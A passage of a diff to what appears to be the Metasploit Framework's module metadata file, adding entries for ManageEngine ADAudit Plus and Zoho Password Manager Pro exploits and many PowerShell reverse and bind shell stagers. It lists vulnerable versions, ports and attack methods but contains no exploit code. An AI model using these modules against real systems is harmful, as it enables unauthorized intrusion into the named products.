"mod_time": "2022-08-17 17:36:31 +0000",
"path": "/modules/exploits/windows/http/exchange_chainedserializationbinder_rce.rb",
"is_install_path": true,
"ref_name": "windows/http/exchange_chainedserializationbinder_denylist_typo_rce",
"ref_name": "windows/http/exchange_chainedserializationbinder_rce",
"check": true,
"post_auth": true,
"default_credential": false,
@@ -142619,6 +143801,68 @@
"session_types": false,
"needs_cleanup": true
},
"exploit_windows/http/manageengine_adaudit_plus_cve_2022_28219": {
"name": "ManageEngine ADAudit Plus CVE-2022-28219",
"fullname": "exploit/windows/http/manageengine_adaudit_plus_cve_2022_28219",
"aliases": [
],
"rank": 600,
"disclosure_date": "2022-06-29",
"type": "exploit",
"author": [
"Naveen Sunkavally",
"Ron Bowes"
],
"description": "This module exploits CVE-2022-28219, which is a pair of\n vulnerabilities in ManageEngine ADAudit Plus versions before build\n 7060: a path traversal in the /cewolf endpoint, and a blind XXE in,\n to upload and execute an executable file.",
"references": [
"CVE-2022-28219",
"URL-https://www.horizon3.ai/red-team-blog-cve-2022-28219/",
"URL-https://attackerkb.com/topics/Zx3qJlmRGY/cve-2022-28219/rapid7-analysis",
"URL-https://www.manageengine.com/products/active-directory-audit/cve-2022-28219.html"
],
"platform": "Windows",
"arch": "cmd",
"rport": 8081,
"autofilter_ports": [
80,
8080,
443,
8000,
8888,
8880,
8008,
3000,
8443
],
"autofilter_services": [
"http",
"https"
],
"targets": [
"Windows Command"
],
"mod_time": "2022-08-05 11:34:46 +0000",
"path": "/modules/exploits/windows/http/manageengine_adaudit_plus_cve_2022_28219.rb",
"is_install_path": true,
"ref_name": "windows/http/manageengine_adaudit_plus_cve_2022_28219",
"check": true,
"post_auth": false,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"Reliability": [
"repeatable-session"
],
"SideEffects": [
"ioc-in-logs"
]
},
"session_types": false,
"needs_cleanup": null
},
"exploit_windows/http/manageengine_adselfservice_plus_cve_2021_40539": {
"name": "ManageEngine ADSelfService Plus CVE-2021-40539",
"fullname": "exploit/windows/http/manageengine_adselfservice_plus_cve_2021_40539",
@@ -146946,6 +148190,72 @@
"session_types": false,
"needs_cleanup": null
},
"exploit_windows/http/zoho_password_manager_pro_xml_rpc_rce": {
"name": "Zoho Password Manager Pro XML-RPC Java Deserialization",
"fullname": "exploit/windows/http/zoho_password_manager_pro_xml_rpc_rce",
"aliases": [
],
"rank": 600,
"disclosure_date": "2022-06-24",
"type": "exploit",
"author": [
"Vinicius",
"Y4er",
"Grant Willcox"
],
"description": "This module exploits a Java deserialization vulnerability in Zoho ManageEngine Pro\n before 12101 and PAM360 before 5510. Unauthenticated attackers can send a\n crafted XML-RPC request containing malicious serialized data to /xmlrpc to\n gain RCE as the SYSTEM user.",
"references": [
"CVE-2022-35405",
"URL-https://xz.aliyun.com/t/11578",
"URL-https://www.manageengine.com/products/passwordmanagerpro/advisory/cve-2022-35405.html",
"URL-https://archives2.manageengine.com/passwordmanagerpro/12101/ManageEngine_PasswordManager_Pro_12100_to_12101.ppm"
],
"platform": "Windows",
"arch": "cmd, x64",
"rport": 7272,
"autofilter_ports": [
80,
8080,
443,
8000,
8888,
8880,
8008,
3000,
8443
],
"autofilter_services": [
"http",
"https"
],
"targets": [
"Windows EXE Dropper",
"Windows Command",
"Windows Powershell"
],
"mod_time": "2022-08-02 14:27:27 +0000",
"path": "/modules/exploits/windows/http/zoho_password_manager_pro_xml_rpc_rce.rb",
"is_install_path": true,
"ref_name": "windows/http/zoho_password_manager_pro_xml_rpc_rce",
"check": true,
"post_auth": false,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"Reliability": [
"repeatable-session"
],
"SideEffects": [
"ioc-in-logs",
"artifacts-on-disk"
]
},
"session_types": false,
"needs_cleanup": null
},
"exploit_windows/ibm/ibm_was_dmgr_java_deserialization_rce": {
"name": "IBM Websphere Application Server Network Deployment Untrusted Data Deserialization Remote Code Execution",
"fullname": "exploit/windows/ibm/ibm_was_dmgr_java_deserialization_rce",
@@ -151573,7 +152883,7 @@
"EDB-15589"
],
"platform": "Windows",
"arch": "x86, x64",
"arch": "",
"rport": null,
"autofilter_ports": [
@@ -151582,9 +152892,10 @@
],
"targets": [
"Windows Vista, 7, and 2008"
"Windows Vista / 7 / 2008 (Dropper)",
"Windows Vista / 7 / 2008 (Command)"
],
"mod_time": "2021-09-08 21:56:02 +0000",
"mod_time": "2022-08-19 15:19:28 +0000",
"path": "/modules/exploits/windows/local/ms10_092_schelevator.rb",
"is_install_path": true,
"ref_name": "windows/local/ms10_092_schelevator",
@@ -151592,6 +152903,16 @@
"post_auth": false,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"Reliability": [
"repeatable-session"
],
"SideEffects": [
"ioc-in-logs",
"artifacts-on-disk"
]
},
"session_types": [
"meterpreter"
@@ -171299,6 +172620,1056 @@
"session_types": false,
"needs_cleanup": false
},
"payload_cmd/windows/powershell/custom/bind_hidden_ipknock_tcp": {
"name": "Powershell Exec, Windows shellcode stage, Hidden Bind Ipknock TCP Stager",
"fullname": "payload/cmd/windows/powershell/custom/bind_hidden_ipknock_tcp",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"Spencer McIntyre",
"bwatters-r7",
"hdm <x@hdm.io>",
"skape <mmiller@hick.org>",
"sf <stephen_fewer@harmonysecurity.com>",
"Borja Merino <bmerinofe@gmail.com>"
],
"description": "Execute an x86 payload from a command via PowerShell. Custom shellcode stage. Listen for a connection. First, the port will need to be knocked from\n the IP defined in KHOST. This IP will work as an authentication method\n (you can spoof it with tools like hping). After that you could get your\n shellcode from any IP. The socket will appear as \"closed,\" thus helping to\n hide the shellcode",
"references": [
],
"platform": "Windows",
"arch": "cmd",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-05-27 16:41:25 +0000",
"path": "/modules/payloads/adapters/cmd/windows/powershell.rb",
"is_install_path": true,
"ref_name": "cmd/windows/powershell/custom/bind_hidden_ipknock_tcp",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
"needs_cleanup": false
},
"payload_cmd/windows/powershell/custom/bind_hidden_tcp": {
"name": "Powershell Exec, Windows shellcode stage, Hidden Bind TCP Stager",
"fullname": "payload/cmd/windows/powershell/custom/bind_hidden_tcp",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"Spencer McIntyre",
"bwatters-r7",
"hdm <x@hdm.io>",
"skape <mmiller@hick.org>",
"sf <stephen_fewer@harmonysecurity.com>",
"Borja Merino <bmerinofe@gmail.com>"
],
"description": "Execute an x86 payload from a command via PowerShell. Custom shellcode stage. Listen for a connection from a hidden port and spawn a command shell to the allowed host.",
"references": [
],
"platform": "Windows",
"arch": "cmd",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-05-27 16:41:25 +0000",
"path": "/modules/payloads/adapters/cmd/windows/powershell.rb",
"is_install_path": true,
"ref_name": "cmd/windows/powershell/custom/bind_hidden_tcp",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
"needs_cleanup": false
},
"payload_cmd/windows/powershell/custom/bind_ipv6_tcp": {
"name": "Powershell Exec, Windows shellcode stage, Bind IPv6 TCP Stager (Windows x86)",
"fullname": "payload/cmd/windows/powershell/custom/bind_ipv6_tcp",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"Spencer McIntyre",
"bwatters-r7",
"hdm <x@hdm.io>",
"skape <mmiller@hick.org>",
"sf <stephen_fewer@harmonysecurity.com>"
],
"description": "Execute an x86 payload from a command via PowerShell. Custom shellcode stage. Listen for an IPv6 connection (Windows x86)",
"references": [
],
"platform": "Windows",
"arch": "cmd",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-05-27 16:41:25 +0000",
"path": "/modules/payloads/adapters/cmd/windows/powershell.rb",
"is_install_path": true,
"ref_name": "cmd/windows/powershell/custom/bind_ipv6_tcp",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
"needs_cleanup": false
},
"payload_cmd/windows/powershell/custom/bind_ipv6_tcp_uuid": {
"name": "Powershell Exec, Windows shellcode stage, Bind IPv6 TCP Stager with UUID Support (Windows x86)",
"fullname": "payload/cmd/windows/powershell/custom/bind_ipv6_tcp_uuid",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"Spencer McIntyre",
"bwatters-r7",
"hdm <x@hdm.io>",
"skape <mmiller@hick.org>",
"sf <stephen_fewer@harmonysecurity.com>",
"OJ Reeves"
],
"description": "Execute an x86 payload from a command via PowerShell. Custom shellcode stage. Listen for an IPv6 connection with UUID Support (Windows x86)",
"references": [
],
"platform": "Windows",
"arch": "cmd",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-05-27 16:41:25 +0000",
"path": "/modules/payloads/adapters/cmd/windows/powershell.rb",
"is_install_path": true,
"ref_name": "cmd/windows/powershell/custom/bind_ipv6_tcp_uuid",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
"needs_cleanup": false
},
"payload_cmd/windows/powershell/custom/bind_named_pipe": {
"name": "Powershell Exec, Windows shellcode stage, Windows x86 Bind Named Pipe Stager",
"fullname": "payload/cmd/windows/powershell/custom/bind_named_pipe",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"Spencer McIntyre",
"bwatters-r7",
"UserExistsError"
],
"description": "Execute an x86 payload from a command via PowerShell. Custom shellcode stage. Listen for a pipe connection (Windows x86)",
"references": [
],
"platform": "Windows",
"arch": "cmd",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-05-27 16:41:25 +0000",
"path": "/modules/payloads/adapters/cmd/windows/powershell.rb",
"is_install_path": true,
"ref_name": "cmd/windows/powershell/custom/bind_named_pipe",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
"needs_cleanup": false
},
"payload_cmd/windows/powershell/custom/bind_nonx_tcp": {
"name": "Powershell Exec, Windows shellcode stage, Bind TCP Stager (No NX or Win7)",
"fullname": "payload/cmd/windows/powershell/custom/bind_nonx_tcp",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"Spencer McIntyre",
"bwatters-r7",
"vlad902 <vlad902@gmail.com>"
],
"description": "Execute an x86 payload from a command via PowerShell. Custom shellcode stage. Listen for a connection (No NX)",
"references": [
],
"platform": "Windows",
"arch": "cmd",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-05-27 16:41:25 +0000",
"path": "/modules/payloads/adapters/cmd/windows/powershell.rb",
"is_install_path": true,
"ref_name": "cmd/windows/powershell/custom/bind_nonx_tcp",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
"needs_cleanup": false
},
"payload_cmd/windows/powershell/custom/bind_tcp": {
"name": "Powershell Exec, Windows shellcode stage, Bind TCP Stager (Windows x86)",
"fullname": "payload/cmd/windows/powershell/custom/bind_tcp",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"Spencer McIntyre",
"bwatters-r7",
"hdm <x@hdm.io>",
"skape <mmiller@hick.org>",
"sf <stephen_fewer@harmonysecurity.com>"
],
"description": "Execute an x86 payload from a command via PowerShell. Custom shellcode stage. Listen for a connection (Windows x86)",
"references": [
],
"platform": "Windows",
"arch": "cmd",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-05-27 16:41:25 +0000",
"path": "/modules/payloads/adapters/cmd/windows/powershell.rb",
"is_install_path": true,
"ref_name": "cmd/windows/powershell/custom/bind_tcp",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
"needs_cleanup": false
},
"payload_cmd/windows/powershell/custom/bind_tcp_rc4": {
"name": "Powershell Exec, Windows shellcode stage, Bind TCP Stager (RC4 Stage Encryption, Metasm)",
"fullname": "payload/cmd/windows/powershell/custom/bind_tcp_rc4",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"Spencer McIntyre",
"bwatters-r7",
"hdm <x@hdm.io>",
"skape <mmiller@hick.org>",
"sf <stephen_fewer@harmonysecurity.com>",
"mihi",
"RageLtMan"
],
"description": "Execute an x86 payload from a command via PowerShell. Custom shellcode stage. Listen for a connection",
"references": [
],
"platform": "Windows",
"arch": "cmd",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-05-27 16:41:25 +0000",
"path": "/modules/payloads/adapters/cmd/windows/powershell.rb",
"is_install_path": true,
"ref_name": "cmd/windows/powershell/custom/bind_tcp_rc4",
"check": false,
"post_auth": true,
"default_credential": false,
"notes": {
},
"session_types": false,
"needs_cleanup": false
},
"payload_cmd/windows/powershell/custom/bind_tcp_uuid": {
"name": "Powershell Exec, Windows shellcode stage, Bind TCP Stager with UUID Support (Windows x86)",
"fullname": "payload/cmd/windows/powershell/custom/bind_tcp_uuid",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"Spencer McIntyre",
"bwatters-r7",
"hdm <x@hdm.io>",
"OJ Reeves"
],
"description": "Execute an x86 payload from a command via PowerShell. Custom shellcode stage. Listen for a connection with UUID Support (Windows x86)",
"references": [
],
"platform": "Windows",
"arch": "cmd",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-05-27 16:41:25 +0000",
"path": "/modules/payloads/adapters/cmd/windows/powershell.rb",
"is_install_path": true,
"ref_name": "cmd/windows/powershell/custom/bind_tcp_uuid",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
"needs_cleanup": false
},
"payload_cmd/windows/powershell/custom/find_tag": {
"name": "Powershell Exec, Windows shellcode stage, Find Tag Ordinal Stager",
"fullname": "payload/cmd/windows/powershell/custom/find_tag",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"Spencer McIntyre",
"bwatters-r7",
"skape <mmiller@hick.org>"
],
"description": "Execute an x86 payload from a command via PowerShell. Custom shellcode stage. Use an established connection",
"references": [
],
"platform": "Windows",
"arch": "cmd",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-05-27 16:41:25 +0000",
"path": "/modules/payloads/adapters/cmd/windows/powershell.rb",
"is_install_path": true,
"ref_name": "cmd/windows/powershell/custom/find_tag",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
"needs_cleanup": false
},
"payload_cmd/windows/powershell/custom/reverse_hop_http": {
"name": "Powershell Exec, Windows shellcode stage, Reverse Hop HTTP/HTTPS Stager",
"fullname": "payload/cmd/windows/powershell/custom/reverse_hop_http",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"Spencer McIntyre",
"bwatters-r7",
"scriptjunkie <scriptjunkie@scriptjunkie.us>",
"bannedit <bannedit@metasploit.com>",
"hdm <x@hdm.io>"
],
"description": "Execute an x86 payload from a command via PowerShell. Custom shellcode stage. \n Tunnel communication over an HTTP or HTTPS hop point. Note that you must first upload\n data/hop/hop.php to the PHP server you wish to use as a hop.",
"references": [
],
"platform": "Windows",
"arch": "cmd",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-05-27 16:41:25 +0000",
"path": "/modules/payloads/adapters/cmd/windows/powershell.rb",
"is_install_path": true,
"ref_name": "cmd/windows/powershell/custom/reverse_hop_http",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
"needs_cleanup": false
},
"payload_cmd/windows/powershell/custom/reverse_http": {
"name": "Powershell Exec, Windows shellcode stage, Windows Reverse HTTP Stager (wininet)",
"fullname": "payload/cmd/windows/powershell/custom/reverse_http",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"Spencer McIntyre",
"bwatters-r7",
"hdm <x@hdm.io>"
],
"description": "Execute an x86 payload from a command via PowerShell. Custom shellcode stage. Tunnel communication over HTTP (Windows wininet)",
"references": [
],
"platform": "Windows",
"arch": "cmd",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-05-27 16:41:25 +0000",
"path": "/modules/payloads/adapters/cmd/windows/powershell.rb",
"is_install_path": true,
"ref_name": "cmd/windows/powershell/custom/reverse_http",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
"needs_cleanup": false
},
"payload_cmd/windows/powershell/custom/reverse_http_proxy_pstore": {
"name": "Powershell Exec, Windows shellcode stage, Reverse HTTP Stager Proxy",
"fullname": "payload/cmd/windows/powershell/custom/reverse_http_proxy_pstore",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"Spencer McIntyre",
"bwatters-r7",
"hdm <x@hdm.io>"
],
"description": "Execute an x86 payload from a command via PowerShell. Custom shellcode stage. Tunnel communication over HTTP",
"references": [
],
"platform": "Windows",
"arch": "cmd",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-05-27 16:41:25 +0000",
"path": "/modules/payloads/adapters/cmd/windows/powershell.rb",
"is_install_path": true,
"ref_name": "cmd/windows/powershell/custom/reverse_http_proxy_pstore",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
"needs_cleanup": false
},
"payload_cmd/windows/powershell/custom/reverse_https": {
"name": "Powershell Exec, Windows shellcode stage, Windows Reverse HTTPS Stager (wininet)",
"fullname": "payload/cmd/windows/powershell/custom/reverse_https",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"Spencer McIntyre",
"bwatters-r7",
"hdm <x@hdm.io>"
],
"description": "Execute an x86 payload from a command via PowerShell. Custom shellcode stage. Tunnel communication over HTTPS (Windows wininet)",
"references": [
],
"platform": "Windows",
"arch": "cmd",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-05-27 16:41:25 +0000",
"path": "/modules/payloads/adapters/cmd/windows/powershell.rb",
"is_install_path": true,
"ref_name": "cmd/windows/powershell/custom/reverse_https",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
"needs_cleanup": false
},
"payload_cmd/windows/powershell/custom/reverse_https_proxy": {
"name": "Powershell Exec, Windows shellcode stage, Reverse HTTPS Stager with Support for Custom Proxy",
"fullname": "payload/cmd/windows/powershell/custom/reverse_https_proxy",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"Spencer McIntyre",
"bwatters-r7",
"hdm <x@hdm.io>",
"corelanc0d3r <peter.ve@corelan.be>",
"amaloteaux <alex_maloteaux@metasploit.com>"
],
"description": "Execute an x86 payload from a command via PowerShell. Custom shellcode stage. Tunnel communication over HTTP using SSL with custom proxy support",
"references": [
],
"platform": "Windows",
"arch": "cmd",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-05-27 16:41:25 +0000",
"path": "/modules/payloads/adapters/cmd/windows/powershell.rb",
"is_install_path": true,
"ref_name": "cmd/windows/powershell/custom/reverse_https_proxy",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
"needs_cleanup": false
},
"payload_cmd/windows/powershell/custom/reverse_ipv6_tcp": {
"name": "Powershell Exec, Windows shellcode stage, Reverse TCP Stager (IPv6)",
"fullname": "payload/cmd/windows/powershell/custom/reverse_ipv6_tcp",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"Spencer McIntyre",
"bwatters-r7",
"hdm <x@hdm.io>",
"skape <mmiller@hick.org>",
"sf <stephen_fewer@harmonysecurity.com>"
],
"description": "Execute an x86 payload from a command via PowerShell. Custom shellcode stage. Connect back to the attacker over IPv6",
"references": [
],
"platform": "Windows",
"arch": "cmd",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-05-27 16:41:25 +0000",
"path": "/modules/payloads/adapters/cmd/windows/powershell.rb",
"is_install_path": true,
"ref_name": "cmd/windows/powershell/custom/reverse_ipv6_tcp",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
"needs_cleanup": false
},
"payload_cmd/windows/powershell/custom/reverse_named_pipe": {
"name": "Powershell Exec, Windows shellcode stage, Windows x86 Reverse Named Pipe (SMB) Stager",
"fullname": "payload/cmd/windows/powershell/custom/reverse_named_pipe",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"Spencer McIntyre",
"bwatters-r7",
"OJ Reeves"
],
"description": "Execute an x86 payload from a command via PowerShell. Custom shellcode stage. Connect back to the attacker via a named pipe pivot",
"references": [
],
"platform": "Windows",
"arch": "cmd",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-05-27 16:41:25 +0000",
"path": "/modules/payloads/adapters/cmd/windows/powershell.rb",
"is_install_path": true,
"ref_name": "cmd/windows/powershell/custom/reverse_named_pipe",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
"needs_cleanup": false
},
"payload_cmd/windows/powershell/custom/reverse_nonx_tcp": {
"name": "Powershell Exec, Windows shellcode stage, Reverse TCP Stager (No NX or Win7)",
"fullname": "payload/cmd/windows/powershell/custom/reverse_nonx_tcp",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"Spencer McIntyre",
"bwatters-r7",
"vlad902 <vlad902@gmail.com>"
],
"description": "Execute an x86 payload from a command via PowerShell. Custom shellcode stage. Connect back to the attacker (No NX)",
"references": [
],
"platform": "Windows",
"arch": "cmd",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-05-27 16:41:25 +0000",
"path": "/modules/payloads/adapters/cmd/windows/powershell.rb",
"is_install_path": true,
"ref_name": "cmd/windows/powershell/custom/reverse_nonx_tcp",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
"needs_cleanup": false
},
"payload_cmd/windows/powershell/custom/reverse_ord_tcp": {
"name": "Powershell Exec, Windows shellcode stage, Reverse Ordinal TCP Stager (No NX or Win7)",
"fullname": "payload/cmd/windows/powershell/custom/reverse_ord_tcp",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"Spencer McIntyre",
"bwatters-r7",
"spoonm <spoonm@no$email.com>"
],
"description": "Execute an x86 payload from a command via PowerShell. Custom shellcode stage. Connect back to the attacker",
"references": [
],
"platform": "Windows",
"arch": "cmd",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-05-27 16:41:25 +0000",
"path": "/modules/payloads/adapters/cmd/windows/powershell.rb",
"is_install_path": true,
"ref_name": "cmd/windows/powershell/custom/reverse_ord_tcp",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
"needs_cleanup": false
},
"payload_cmd/windows/powershell/custom/reverse_tcp": {
"name": "Powershell Exec, Windows shellcode stage, Reverse TCP Stager",
"fullname": "payload/cmd/windows/powershell/custom/reverse_tcp",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"Spencer McIntyre",
"bwatters-r7",
"hdm <x@hdm.io>",
"skape <mmiller@hick.org>",
"sf <stephen_fewer@harmonysecurity.com>"
],
"description": "Execute an x86 payload from a command via PowerShell. Custom shellcode stage. Connect back to the attacker",
"references": [
],
"platform": "Windows",
"arch": "cmd",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-05-27 16:41:25 +0000",
"path": "/modules/payloads/adapters/cmd/windows/powershell.rb",
"is_install_path": true,
"ref_name": "cmd/windows/powershell/custom/reverse_tcp",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
"needs_cleanup": false
},
"payload_cmd/windows/powershell/custom/reverse_tcp_allports": {
"name": "Powershell Exec, Windows shellcode stage, Reverse All-Port TCP Stager",
"fullname": "payload/cmd/windows/powershell/custom/reverse_tcp_allports",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"Spencer McIntyre",
"bwatters-r7",
"hdm <x@hdm.io>",
"skape <mmiller@hick.org>",
"sf <stephen_fewer@harmonysecurity.com>"
],
"description": "Execute an x86 payload from a command via PowerShell. Custom shellcode stage. Try to connect back to the attacker, on all possible ports (1-65535, slowly)",
"references": [
],
"platform": "Windows",
"arch": "cmd",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-05-27 16:41:25 +0000",
"path": "/modules/payloads/adapters/cmd/windows/powershell.rb",
"is_install_path": true,
"ref_name": "cmd/windows/powershell/custom/reverse_tcp_allports",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
"needs_cleanup": false
},
"payload_cmd/windows/powershell/custom/reverse_tcp_dns": {
"name": "Powershell Exec, Windows shellcode stage, Reverse TCP Stager (DNS)",
"fullname": "payload/cmd/windows/powershell/custom/reverse_tcp_dns",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"Spencer McIntyre",
"bwatters-r7",
"hdm <x@hdm.io>",
"skape <mmiller@hick.org>",
"sf <stephen_fewer@harmonysecurity.com>",
"RageLtMan"
],
"description": "Execute an x86 payload from a command via PowerShell. Custom shellcode stage. Connect back to the attacker",
"references": [
],
"platform": "Windows",
"arch": "cmd",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-05-27 16:41:25 +0000",
"path": "/modules/payloads/adapters/cmd/windows/powershell.rb",
"is_install_path": true,
"ref_name": "cmd/windows/powershell/custom/reverse_tcp_dns",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
"needs_cleanup": false
},
"payload_cmd/windows/powershell/custom/reverse_tcp_rc4": {
"name": "Powershell Exec, Windows shellcode stage, Reverse TCP Stager (RC4 Stage Encryption, Metasm)",
"fullname": "payload/cmd/windows/powershell/custom/reverse_tcp_rc4",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"Spencer McIntyre",
"bwatters-r7",
"hdm <x@hdm.io>",
"skape <mmiller@hick.org>",
"sf <stephen_fewer@harmonysecurity.com>",
"mihi",
"RageLtMan"
],
"description": "Execute an x86 payload from a command via PowerShell. Custom shellcode stage. Connect back to the attacker",
"references": [
],
"platform": "Windows",
"arch": "cmd",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-05-27 16:41:25 +0000",
"path": "/modules/payloads/adapters/cmd/windows/powershell.rb",
"is_install_path": true,
"ref_name": "cmd/windows/powershell/custom/reverse_tcp_rc4",
"check": false,
"post_auth": true,
"default_credential": false,
"notes": {
},
"session_types": false,
"needs_cleanup": false
},
"payload_cmd/windows/powershell/custom/reverse_tcp_rc4_dns": {
"name": "Powershell Exec, Windows shellcode stage, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)",
"fullname": "payload/cmd/windows/powershell/custom/reverse_tcp_rc4_dns",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"Spencer McIntyre",
"bwatters-r7",
"hdm <x@hdm.io>",
"skape <mmiller@hick.org>",
"sf <stephen_fewer@harmonysecurity.com>",
"mihi",
"RageLtMan"
],
"description": "Execute an x86 payload from a command via PowerShell. Custom shellcode stage. Connect back to the attacker",
"references": [
],
"platform": "Windows",
"arch": "cmd",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-05-27 16:41:25 +0000",
"path": "/modules/payloads/adapters/cmd/windows/powershell.rb",
"is_install_path": true,
"ref_name": "cmd/windows/powershell/custom/reverse_tcp_rc4_dns",
"check": false,
"post_auth": true,
"default_credential": false,
"notes": {
},
"session_types": false,
"needs_cleanup": false
},
"payload_cmd/windows/powershell/custom/reverse_tcp_uuid": {
"name": "Powershell Exec, Windows shellcode stage, Reverse TCP Stager with UUID Support",
"fullname": "payload/cmd/windows/powershell/custom/reverse_tcp_uuid",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"Spencer McIntyre",
"bwatters-r7",
"hdm <x@hdm.io>",
"OJ Reeves"
],
"description": "Execute an x86 payload from a command via PowerShell. Custom shellcode stage. Connect back to the attacker with UUID Support",
"references": [
],
"platform": "Windows",
"arch": "cmd",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-05-27 16:41:25 +0000",
"path": "/modules/payloads/adapters/cmd/windows/powershell.rb",
"is_install_path": true,
"ref_name": "cmd/windows/powershell/custom/reverse_tcp_uuid",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
"needs_cleanup": false
},
"payload_cmd/windows/powershell/custom/reverse_udp": {
"name": "Powershell Exec, Windows shellcode stage, Reverse UDP Stager with UUID Support",
"fullname": "payload/cmd/windows/powershell/custom/reverse_udp",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"Spencer McIntyre",
"bwatters-r7",
"RageLtMan <rageltman@sempervictus>"
],
"description": "Execute an x86 payload from a command via PowerShell. Custom shellcode stage. Connect back to the attacker with UUID Support",
"references": [
],
"platform": "Windows",
"arch": "cmd",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
